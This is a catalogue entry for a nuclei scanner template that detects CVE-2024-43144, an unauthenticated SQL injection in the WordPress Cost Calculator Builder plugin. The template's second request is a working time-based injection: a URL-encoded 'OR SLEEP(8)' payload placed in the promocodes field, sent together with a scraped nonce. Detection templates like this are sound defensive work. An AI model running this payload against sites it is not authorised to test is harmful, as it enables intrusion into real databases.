CVE-2024-43144: Cost Calculator Builder <= 3.2.15 - SQL Injection
- Template: CVE-2024-43144
- Name: Cost Calculator Builder <= 3.2.15 - SQL Injection
- Description: The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
- Remediation: Update to version 3.2.16 or later.
- Severity: critical
- Authors: Shivam Kamboj
- Tags: cve, cve2024, wordpress, wp, wp-plugin, sqli, cost-calculator-builder
- References: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cost-calculator-builder/cost-calculator-builder-3215-unauthenticated-sql-injection, https://patchstack.com/database/wordpress/plugin/cost-calculator-builder/vulnerability/wordpress-cost-calculator-builder-plugin-3-2-15-sql-injection-vulnerability, https://nvd.nist.gov/vuln/detail/CVE-2024-43144
- Cves: CVE-2024-43144
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-43144.yaml
- Digest: 490a00463044022049962182ae2746cb8d7ec38627becd6ab9576bbfa499d0e54dd983f6ed1a138102205c34614b5a09f0d9b7d218591e9fb81147107e07b81c12f8bfec47df5ade6b16
- Created at: 2026-03-21T08:01:28Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 248
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-43144.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.01985
- Epss percentile: 0.81118
- Not known: cpe
Metadata
- Max-request: 2
- Publicwww-query: /plugins/cost-calculator-builder/
- Verified: yes
Labels
- Name: StylemixThemes Cost Calculator Builder - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
- Remediation: Update to the latest version beyond 3.2.15 or apply security patches that neutralize special elements in SQL commands.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: user_interaction
- Requirements: Attacker needs to craft specific input
- Labels source: projectdiscovery
- From cve: CVE-2024-43144
```yaml
id: CVE-2024-43144
info:
name: Cost Calculator Builder <= 3.2.15 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
remediation: Update to version 3.2.16 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-43144
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-43144
epss-score: 0.01985
epss-percentile: 0.81118
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
publicwww-query: "/plugins/cost-calculator-builder/"
tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,cost-calculator-builder
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"ccb_add_order"\s*:\s*"([a-f0-9]+)"'
internal: true
- raw:
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=create_cc_order&nonce={{nonce}}&data=%7B%22id%22%3A%221%22%2C%22promocodes%22%3A%5B%22%27%29%20OR%201%3D%28SELECT%20SLEEP%288%29%29--%20-%22%5D%7D
matchers:
- type: dsl
dsl:
- 'contains_any(body, "order_id", "success")'
- 'status_code == 200'
- 'duration>=8'
condition: and
digest: 490a00463044022049962182ae2746cb8d7ec38627becd6ab9576bbfa499d0e54dd983f6ed1a138102205c34614b5a09f0d9b7d218591e9fb81147107e07b81c12f8bfec47df5ade6b16:922c64590222798bb761d5b6d8e72950
```